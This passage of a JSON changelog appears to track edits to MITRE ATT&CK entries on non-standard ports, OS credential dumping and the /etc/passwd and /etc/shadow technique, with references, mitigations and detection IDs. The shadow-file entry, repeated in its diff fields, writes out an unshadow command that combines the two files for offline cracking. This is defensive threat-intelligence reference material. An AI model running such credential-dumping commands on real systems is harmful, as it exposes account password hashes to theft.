                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to88__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to88__0\"><a href=\"#difflib_chg_to88__top\">t</a></td><td class=\"diff_header\" id=\"from88_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;communicate&nbsp;using&nbsp;a&nbsp;protocol&nbsp;and&nbsp;port&nbsp;pairin</td><td class=\"diff_next\"><a href=\"#difflib_chg_to88__top\">t</a></td><td class=\"diff_header\" id=\"to88_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;communicate&nbsp;using&nbsp;a&nbsp;protocol&nbsp;and&nbsp;port&nbsp;pairin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;that&nbsp;are&nbsp;typically&nbsp;not&nbsp;associated<span class=\"diff_chg\">.&nbsp;For</span>&nbsp;example,&nbsp;HTTPS&nbsp;over</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;that&nbsp;are&nbsp;typically&nbsp;not&nbsp;associated<span class=\"diff_chg\">&nbsp;(for</span>&nbsp;example,&nbsp;HTTPS&nbsp;over</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;port&nbsp;8088(Citation:&nbsp;Symantec&nbsp;Elfin&nbsp;Mar&nbsp;2019)&nbsp;or&nbsp;port&nbsp;587(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;port&nbsp;8088(Citation:&nbsp;Symantec&nbsp;Elfin&nbsp;Mar&nbsp;2019)&nbsp;or&nbsp;port&nbsp;587(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Fortinet&nbsp;Agent&nbsp;Tesla&nbsp;April&nbsp;2018)&nbsp;as&nbsp;opposed&nbsp;to&nbsp;the&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Fortinet&nbsp;Agent&nbsp;Tesla&nbsp;April&nbsp;2018)&nbsp;as&nbsp;opposed&nbsp;to&nbsp;the&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">raditional&nbsp;port&nbsp;443.&nbsp;Adversaries&nbsp;may&nbsp;make&nbsp;changes&nbsp;to&nbsp;the&nbsp;sta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">raditional&nbsp;port&nbsp;443<span class=\"diff_add\">)</span>.&nbsp;Adversaries&nbsp;may&nbsp;make&nbsp;changes&nbsp;to&nbsp;the&nbsp;st</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndard&nbsp;port&nbsp;used&nbsp;by&nbsp;a&nbsp;protocol&nbsp;to&nbsp;bypass&nbsp;filtering&nbsp;or&nbsp;muddle&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">andard&nbsp;port&nbsp;used&nbsp;by&nbsp;a&nbsp;protocol&nbsp;to&nbsp;bypass&nbsp;filtering&nbsp;or&nbsp;muddle</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">analysis/parsing&nbsp;of&nbsp;network&nbsp;data.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;make</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;analysis/parsing&nbsp;of&nbsp;network&nbsp;data.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;mak</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;changes&nbsp;to&nbsp;victim&nbsp;systems&nbsp;to&nbsp;abuse&nbsp;non-standard&nbsp;ports.&nbsp;For&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;changes&nbsp;to&nbsp;victim&nbsp;systems&nbsp;to&nbsp;abuse&nbsp;non-standard&nbsp;ports.&nbsp;For</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">example,&nbsp;Registry&nbsp;keys&nbsp;and&nbsp;other&nbsp;configuration&nbsp;settings&nbsp;can&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;example,&nbsp;Registry&nbsp;keys&nbsp;and&nbsp;other&nbsp;configuration&nbsp;settings&nbsp;can</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;used&nbsp;to&nbsp;modify&nbsp;protocol&nbsp;and&nbsp;port&nbsp;pairings.(Citation:&nbsp;chan</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;used&nbsp;to&nbsp;modify&nbsp;protocol&nbsp;and&nbsp;port&nbsp;pairings.(Citation:&nbsp;cha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge_rdp_port_conti)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nge_rdp_port_conti)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1030: Network Segmentation",
                            "M1031: Network Intrusion Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0227: Detection Strategy for Non-Standard Ports"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:30:19.735000+00:00",
                    "modified": "2026-06-13 16:25:46.025000+00:00",
                    "name": "OS Credential Dumping",
                    "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1003",
                            "external_id": "T1003"
                        },
                        {
                            "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                            "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                            "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                        },
                        {
                            "source_name": "AdSecurity DCSync Sept 2015",
                            "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                            "url": "https://adsecurity.org/?p=1729"
                        },
                        {
                            "source_name": "Microsoft DRSR Dec 2017",
                            "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                            "url": "https://msdn.microsoft.com/library/cc228086.aspx"
                        },
                        {
                            "source_name": "Microsoft NRPC Dec 2017",
                            "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                            "url": "https://msdn.microsoft.com/library/cc237008.aspx"
                        },
                        {
                            "source_name": "Microsoft GetNCCChanges",
                            "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                            "url": "https://msdn.microsoft.com/library/dd207691.aspx"
                        },
                        {
                            "source_name": "Microsoft SAMR",
                            "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                            "url": "https://msdn.microsoft.com/library/cc245496.aspx"
                        },
                        {
                            "source_name": "Powersploit",
                            "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                            "url": "https://github.com/mattifestation/PowerSploit"
                        },
                        {
                            "source_name": "Samba DRSUAPI",
                            "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                            "url": "https://wiki.samba.org/index.php/DRSUAPI"
                        },
                        {
                            "source_name": "Harmj0y DCSync Sept 2015",
                            "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                            "url": "https://web.archive.org/web/20150923020927/http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                        },
                        {
                            "source_name": "Brining MimiKatz to Unix",
                            "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                            "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Vincent Le Toux",
                        "Ed Williams, Trustwave, SpiderLabs",
                        "Tim (Wadhwa-)Brown",
                        "Yves Yonan"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-06-13 16:25:46.025000+00:00\", \"old_value\": \"2025-10-24 17:48:22.201000+00:00\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://web.archive.org/web/20150923020927/http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/\", \"old_value\": \"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/\"}}}",
                    "previous_version": "2.2",
                    "changelog_mitigations": {
                        "shared": [
                            "M1015: Active Directory Configuration",
                            "M1017: User Training",
                            "M1025: Privileged Process Integrity",
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies",
                            "M1028: Operating System Configuration",
                            "M1040: Behavior Prevention on Endpoint",
                            "M1041: Encrypt Sensitive Information",
                            "M1043: Credential Access Protection"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0234: Credential Dumping via Sensitive Memory and Registry Access Correlation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:46:56.263000+00:00",
                    "modified": "2026-11-04 03:04:07.550000+00:00",
                    "name": "/etc/passwd and /etc/shadow",
                    "description": "Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information, including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nLinux stores user information such as user ID, group ID, home directory path, and login shell in <code>/etc/passwd</code>. A \"user\" on the system may belong to a person or a service. All password hashes are stored in <code>/etc/shadow</code> - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\n\nAdversaries may attempt to read or dump the <code>/etc/passwd</code> and <code>/etc/shadow</code> files on Linux systems via command line utilities such as the <code>cat</code> command.(Citation: Arctic Wolf) Additionally, the Linux utility <code>unshadow</code> can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command <code>/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>(Citation: nixCraft - John the Ripper). Since the user information stored in <code>/etc/passwd</code> is linked to the password hashes in <code>/etc/shadow</code>, an adversary would need to have access to both.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1003/008",
                            "external_id": "T1003.008"
                        },
                        {
                            "source_name": "Arctic Wolf",
                            "description": "Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher. (2024, November 22). Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices. Retrieved January 8, 2025.",
                            "url": "https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/"
                        },
                        {
                            "source_name": "Linux Password and Shadow File Formats",
                            "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
                            "url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html"
                        },
                        {
                            "source_name": "nixCraft - John the Ripper",
                            "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
                            "url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:04:07.550000+00:00\", \"old_value\": \"2025-10-24 17:49:25.253000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information, including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\\n\\nLinux stores user information such as user ID, group ID, home directory path, and login shell in <code>/etc/passwd</code>. A \\\"user\\\" on the system may belong to a person or a service. All password hashes are stored in <code>/etc/shadow</code> - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\\n\\nAdversaries may attempt to read or dump the <code>/etc/passwd</code> and <code>/etc/shadow</code> files on Linux systems via command line utilities such as the <code>cat</code> command.(Citation: Arctic Wolf) Additionally, the Linux utility <code>unshadow</code> can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command <code>/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>(Citation: nixCraft - John the Ripper). Since the user information stored in <code>/etc/passwd</code> is linked to the password hashes in <code>/etc/shadow</code>, an adversary would need to have access to both.\", \"old_value\": \"Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information, including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\\n\\nLinux stores user information such as user ID, group ID, home directory path, and login shell in <code>/etc/passwd</code>. A \\\"user\\\" on the system may belong to a person or a service. All password hashes are stored in <code>/etc/shadow</code> - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\\n\\nAdversaries may attempt to read or dump the <code>/etc/passwd</code> and <code>/etc/shadow</code> files on Linux systems via command line utilities such as the <code>cat</code> command.(Citation: Arctic Wolf) Additionally, the Linux utility <code>unshadow</code> can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command <code>/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>(Citation: nixCraft - John the Ripper). Since the user information stored in <code>/etc/passwd</code> are linked to the password hashes in <code>/etc/shadow</code>, an adversary would need to have access to both.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Linux stores user information such as user ID, group ID, home directory path, and login shell in <code>/etc/passwd</code>. A \\\"user\\\" on the system may belong to a person or a service. All password hashes are stored in <code>/etc/shadow</code> - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\\n \\n-Adversaries may attempt to read or dump the <code>/etc/passwd</code> and <code>/etc/shadow</code> files on Linux systems via command line utilities such as the <code>cat</code> command.(Citation: Arctic Wolf) Additionally, the Linux utility <code>unshadow</code> can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command <code>/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>(Citation: nixCraft - John the Ripper). Since the user information stored in <code>/etc/passwd</code> are linked to the password hashes in <code>/etc/shadow</code>, an adversary would need to have access to both.\\n+Adversaries may attempt to read or dump the <code>/etc/passwd</code> and <code>/etc/shadow</code> files on Linux systems via command line utilities such as the <code>cat</code> command.(Citation: Arctic Wolf) Additionally, the Linux utility <code>unshadow</code> can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command <code>/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>(Citation: nixCraft - John the Ripper). Since the user information stored in <code>/etc/passwd</code> is linked to the password hashes in <code>/etc/shadow</code>, an adversary would need to have access to both.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to34__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to34__0\"><a href=\"#difflib_chg_to34__top\">t</a></td><td class=\"diff_header\" id=\"from34_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;dump&nbsp;the&nbsp;contents&nbsp;of&nbsp;&lt;code&gt;/etc/p</td><td class=\"diff_next\"><a href=\"#difflib_chg_to34__top\">t</a></td><td class=\"diff_header\" id=\"to34_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;dump&nbsp;the&nbsp;contents&nbsp;of&nbsp;&lt;code&gt;/etc/p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">asswd&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;&nbsp;to&nbsp;enable&nbsp;offline&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">asswd&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;&nbsp;to&nbsp;enable&nbsp;offline&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">password&nbsp;cracking.&nbsp;Most&nbsp;modern&nbsp;Linux&nbsp;operating&nbsp;systems&nbsp;use&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">password&nbsp;cracking.&nbsp;Most&nbsp;modern&nbsp;Linux&nbsp;operating&nbsp;systems&nbsp;use&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;combination&nbsp;of&nbsp;&lt;code&gt;/etc/passwd&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;/etc/shad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;combination&nbsp;of&nbsp;&lt;code&gt;/etc/passwd&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;/etc/shad</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ow&lt;/code&gt;&nbsp;to&nbsp;store&nbsp;user&nbsp;account&nbsp;information,&nbsp;including&nbsp;passw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ow&lt;/code&gt;&nbsp;to&nbsp;store&nbsp;user&nbsp;account&nbsp;information,&nbsp;including&nbsp;passw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ord&nbsp;hashes&nbsp;in&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;.&nbsp;By&nbsp;default,&nbsp;&lt;code&gt;/e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ord&nbsp;hashes&nbsp;in&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;.&nbsp;By&nbsp;default,&nbsp;&lt;code&gt;/e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tc/shadow&lt;/code&gt;&nbsp;is&nbsp;only&nbsp;readable&nbsp;by&nbsp;the&nbsp;root&nbsp;user.(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tc/shadow&lt;/code&gt;&nbsp;is&nbsp;only&nbsp;readable&nbsp;by&nbsp;the&nbsp;root&nbsp;user.(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Linux&nbsp;Password&nbsp;and&nbsp;Shadow&nbsp;File&nbsp;Formats)&nbsp;&nbsp;Linux&nbsp;stores&nbsp;user</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Linux&nbsp;Password&nbsp;and&nbsp;Shadow&nbsp;File&nbsp;Formats)&nbsp;&nbsp;Linux&nbsp;stores&nbsp;user</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;information&nbsp;such&nbsp;as&nbsp;user&nbsp;ID,&nbsp;group&nbsp;ID,&nbsp;home&nbsp;directory&nbsp;path,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;information&nbsp;such&nbsp;as&nbsp;user&nbsp;ID,&nbsp;group&nbsp;ID,&nbsp;home&nbsp;directory&nbsp;path,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;login&nbsp;shell&nbsp;in&nbsp;&lt;code&gt;/etc/passwd&lt;/code&gt;.&nbsp;A&nbsp;\"user\"&nbsp;on&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;login&nbsp;shell&nbsp;in&nbsp;&lt;code&gt;/etc/passwd&lt;/code&gt;.&nbsp;A&nbsp;\"user\"&nbsp;on&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;system&nbsp;may&nbsp;belong&nbsp;to&nbsp;a&nbsp;person&nbsp;or&nbsp;a&nbsp;service.&nbsp;All&nbsp;password&nbsp;h</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;system&nbsp;may&nbsp;belong&nbsp;to&nbsp;a&nbsp;person&nbsp;or&nbsp;a&nbsp;service.&nbsp;All&nbsp;password&nbsp;h</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ashes&nbsp;are&nbsp;stored&nbsp;in&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;&nbsp;-&nbsp;including&nbsp;ent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ashes&nbsp;are&nbsp;stored&nbsp;in&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;&nbsp;-&nbsp;including&nbsp;ent</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;for&nbsp;users&nbsp;with&nbsp;no&nbsp;passwords&nbsp;and&nbsp;users&nbsp;with&nbsp;locked&nbsp;or&nbsp;di</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;for&nbsp;users&nbsp;with&nbsp;no&nbsp;passwords&nbsp;and&nbsp;users&nbsp;with&nbsp;locked&nbsp;or&nbsp;di</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sabled&nbsp;accounts.(Citation:&nbsp;Linux&nbsp;Password&nbsp;and&nbsp;Shadow&nbsp;File&nbsp;Fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sabled&nbsp;accounts.(Citation:&nbsp;Linux&nbsp;Password&nbsp;and&nbsp;Shadow&nbsp;File&nbsp;Fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rmats)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;read&nbsp;or&nbsp;dump&nbsp;the&nbsp;&lt;code&gt;/e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rmats)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;read&nbsp;or&nbsp;dump&nbsp;the&nbsp;&lt;code&gt;/e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tc/passwd&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;&nbsp;files&nbsp;on&nbsp;Linux</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tc/passwd&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;&nbsp;files&nbsp;on&nbsp;Linux</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems&nbsp;via&nbsp;command&nbsp;line&nbsp;utilities&nbsp;such&nbsp;as&nbsp;the&nbsp;&lt;code&gt;cat&lt;/c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems&nbsp;via&nbsp;command&nbsp;line&nbsp;utilities&nbsp;such&nbsp;as&nbsp;the&nbsp;&lt;code&gt;cat&lt;/c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;&nbsp;command.(Citation:&nbsp;Arctic&nbsp;Wolf)&nbsp;Additionally,&nbsp;the&nbsp;Linux</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;&nbsp;command.(Citation:&nbsp;Arctic&nbsp;Wolf)&nbsp;Additionally,&nbsp;the&nbsp;Linux</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;utility&nbsp;&lt;code&gt;unshadow&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;combine&nbsp;the&nbsp;tw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;utility&nbsp;&lt;code&gt;unshadow&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;combine&nbsp;the&nbsp;tw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 